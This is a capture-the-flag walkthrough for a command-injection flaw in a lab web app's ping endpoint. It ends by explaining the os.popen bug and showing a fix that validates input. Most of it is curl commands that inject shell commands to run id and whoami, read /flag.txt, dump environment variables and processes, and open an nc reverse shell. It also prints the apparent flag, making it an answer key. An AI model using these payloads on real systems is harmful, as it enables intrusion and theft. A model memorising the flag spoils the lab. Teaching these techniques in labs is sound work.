Start the machine, hack the system, and find the hidden flags to complete this challenge and earn points!
Launch your dedicated machine to begin hacking
This walkthrough explains how to hack the lab and capture the flags. For help with Learning Mode questions, use the Request Hint button next to each question.
<target-ip>:80 to read the challenge description and understand the objectives.nmap -p 1-10000 <target-ip>curl http://<target-ip>:8080/curl "http://<target-ip>:8080/ping?host=google.com"host parameter that appears to be passed directly to a ping command.curl http://<target-ip>:8080/healthcurl "http://<target-ip>:8080/ping?host=google.com;whoami"whoami command.# Using logical AND operator
curl "http://<target-ip>:8080/ping?host=google.com&&id"
# Using logical OR operator
curl "http://<target-ip>:8080/ping?host=invalidhost||whoami"
# Using backticks for command substitution
curl "http://<target-ip>:8080/ping?host=\`whoami\`"
# Using $() for command substitution
curl "http://<target-ip>:8080/ping?host=\$(id)"# Check current user and groups
curl "http://<target-ip>:8080/ping?host=google.com;id"
# List current directory contents
curl "http://<target-ip>:8080/ping?host=google.com;ls -la"
# Check root directory contents
curl "http://<target-ip>:8080/ping?host=google.com;ls -la /"
# Check working directory
curl "http://<target-ip>:8080/ping?host=google.com;pwd"# Search for files containing 'flag'
curl "http://<target-ip>:8080/ping?host=google.com;find / -name '*flag*' 2>/dev/null"
# Check for flag.txt in root directory
curl "http://<target-ip>:8080/ping?host=google.com;ls -la /flag.txt"
# Search in common CTF flag locations
curl "http://<target-ip>:8080/ping?host=google.com;find /home /root /tmp -name 'flag*' 2>/dev/null"/flag.txt, extract its contents:curl "http://<target-ip>:8080/ping?host=google.com;cat /flag.txt"cat doesn't work, try alternative approaches:# Using head command
curl "http://<target-ip>:8080/ping?host=google.com;head /flag.txt"
# Using tail command
curl "http://<target-ip>:8080/ping?host=google.com;tail /flag.txt"
# Using more command
curl "http://<target-ip>:8080/ping?host=google.com;more /flag.txt"
# Using xxd for hex dump
curl "http://<target-ip>:8080/ping?host=google.com;xxd /flag.txt"2d14fec8-29c6-4f8d-9fbc-5ce16aceb252# URL encoded semicolon (%3B) and space (%20)
curl "http://<target-ip>:8080/ping?host=google.com%3Bcat%20/flag.txt"
# URL encoded ampersand (%26)
curl "http://<target-ip>:8080/ping?host=google.com%26%26cat%20/flag.txt"# Display all environment variables
curl "http://<target-ip>:8080/ping?host=google.com;env"
# Check specific variables
curl "http://<target-ip>:8080/ping?host=google.com;echo \$HOME"
curl "http://<target-ip>:8080/ping?host=google.com;echo \$PATH"# List running processes
curl "http://<target-ip>:8080/ping?host=google.com;ps aux"
# Check network connections
curl "http://<target-ip>:8080/ping?host=google.com;netstat -an"
# Check system information
curl "http://<target-ip>:8080/ping?host=google.com;uname -a"os.popen() function with user-controlled input without proper sanitization.# Vulnerable implementation
command = f"ping -c 1 {host}"
result = os.popen(command).read()host parameter, attackers can append additional commands that get executed by the shell.# Python one-liner to read flag
curl "http://<target-ip>:8080/ping?host=google.com;python3 -c 'print(open("/flag.txt").read().strip())'"# Base64 encode the flag
curl "http://<target-ip>:8080/ping?host=google.com;cat /flag.txt | base64"
# Decode locally
echo "" | base64 -d # Simple reverse shell (replace with your IP and port)
curl "http://<target-ip>:8080/ping?host=google.com;nc -e /bin/sh" # Secure implementation
import subprocess
import re
# Validate input - only allow valid hostnames/IPs
if re.match(r'^[a-zA-Z0-9.-]+$', host):
result = subprocess.run(['ping', '-c', '1', host],
capture_output=True, text=True, timeout=10)
return result.stdout
else:
return "Invalid host format"Choose how you want to get started
Choose a username to get started
We've sent a 9-character code to your email